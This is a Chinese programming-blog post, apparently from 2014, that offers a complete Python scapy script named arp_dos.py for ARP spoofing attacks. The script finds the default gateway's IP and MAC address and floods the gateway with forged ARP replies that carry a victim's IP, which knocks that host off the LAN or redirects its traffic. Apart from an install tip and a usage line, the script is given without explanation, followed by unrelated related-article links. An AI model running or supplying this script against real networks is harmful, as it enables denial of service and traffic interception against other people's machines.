python写的ARP攻击代码实例


Posted in Python onJune 04, 2014

注:使用这个脚本需要安装scapy 包
最好在linux平台下使用,因为scapy包在windows上安装老是会有各种问题

#coding:utf-8
#example :sudo  python arp_dos.py  192.168.1.103
from scapy.all import ARP,send
import os,re,sys
def get_gateway_ip():
    t=os.popen('route -n')
    for i in t:
        if i.startswith('0.0.0.0'):
            r=re.split("\s+",i)
            return r[1]
def get_gateway_hw(ip):
    t=os.popen('arp -e %s' % ip)
    for i in t:
        if i.startswith(ip):
            r=re.split("\s+",i)
            return r[2]
def hack(hackip):
    ip=get_gateway_ip()
    hw=get_gateway_hw(ip)
    arp=ARP(op=2,pdst=ip,hwdst=hw,psrc=hackip)
    #os.popen('ifconfig eth0 %s' % hackip )
    while 1:
        send(arp)
def help():
    print ("USEAGE: sudo python arp_dos.py 192.168.1.100")
def main():
    if len(sys.argv) != 2:
        help()
    else:
        hack(sys.argv[1])
if __name__=="__main__":
    main()
Python 相关文章推荐
python实现rest请求api示例
Apr 22 Python
Python set集合类型操作总结
Nov 07 Python
Python中的pass语句使用方法讲解
May 14 Python
python 查找字符串是否存在实例详解
Jan 20 Python
详解Python函数可变参数定义及其参数传递方式
Aug 02 Python
Python实现的中国剩余定理算法示例
Aug 05 Python
python调用java的jar包方法
Dec 15 Python
对Python _取log的几种方式小结
Jul 25 Python
Python在cmd上打印彩色文字实现过程详解
Aug 07 Python
django formset实现数据表的批量操作的示例代码
Dec 06 Python
python基于tkinter制作m3u8视频下载工具
Apr 24 Python
Python Pandas常用函数方法总结
Jun 15 Python
python和C语言混合编程实例
Jun 04 #Python
python实现的一个p2p文件传输实例
Jun 04 #Python
python实现文件分组复制到不同目录的例子
Jun 04 #Python
python实现的udp协议Server和Client代码实例
Jun 04 #Python
Python实现同时兼容老版和新版Socket协议的一个简单WebSocket服务器
Jun 04 #Python
Python程序员鲜为人知但你应该知道的17个问题
Jun 04 #Python
Python和Ruby中each循环引用变量问题(一个隐秘BUG?)
Jun 04 #Python
You might like
php Session存储到Redis的方法
2013/11/04 PHP
php curl模拟post请求和提交多维数组的示例代码
2015/11/19 PHP
eclipse php wamp配置教程
2016/06/30 PHP
Yii 框架使用数据库(databases)的方法示例
2020/05/19 PHP
js 模拟气泡屏保效果代码
2010/07/10 Javascript
浅谈javascript回调函数
2014/12/07 Javascript
web前端设计师们常用的jQuery特效插件汇总
2014/12/07 Javascript
javascript封装的sqlite操作类实例
2015/07/17 Javascript
textarea 在浏览器中固定大小和禁止拖动的实现方法
2016/12/03 Javascript
Node.js  事件循环详解及实例
2017/08/06 Javascript
jQuery实现可兼容IE6的滚动监听功能
2017/09/20 jQuery
使用DataTable插件实现异步加载数据
2017/11/19 Javascript
js tab栏切换代码实例解析
2019/09/03 Javascript
vue实现短信验证码登录功能(流程详解)
2019/12/10 Javascript
解决Echarts2竖直datazoom滑动后显示数据不全的问题
2020/07/20 Javascript
JavaScript文档加载模式以及元素获取
2020/07/28 Javascript
[02:40]DOTA2超级联赛专访430 从小就爱玩对抗性游戏
2013/06/18 DOTA
python在线编译器的简单原理及简单实现代码
2018/02/02 Python
Python中的单继承与多继承实例分析
2018/05/10 Python
Python简单实现网页内容抓取功能示例
2018/06/07 Python
Tensorflow 训练自己的数据集将数据直接导入到内存
2018/06/19 Python
python去除文件中重复的行实例
2018/06/29 Python
33个Python爬虫项目实战(推荐)
2019/07/08 Python
python中for循环把字符串或者字典添加到列表的方法
2019/07/20 Python
Python实现二叉搜索树BST的方法示例
2019/07/30 Python
python 多线程死锁问题的解决方案
2020/08/25 Python
纯CSS3打造动感漂亮时尚的扇形菜单
2014/03/18 HTML / CSS
如何转换一个字符串到enum值
2014/04/12 面试题
动物科学专业毕业生的自我评价
2013/11/29 职场文书
大学英语演讲稿(中英文对照)
2014/01/14 职场文书
成人继续教育实施方案
2014/03/01 职场文书
质量保证书范本
2014/04/29 职场文书
市委常委会班子党的群众路线教育实践活动整改方案
2014/10/25 职场文书
临床医学生职业规划书范文
2014/10/25 职场文书
介绍信的写法
2015/01/31 职场文书
SpringBoot集成Redis的思路详解
2021/10/16 Redis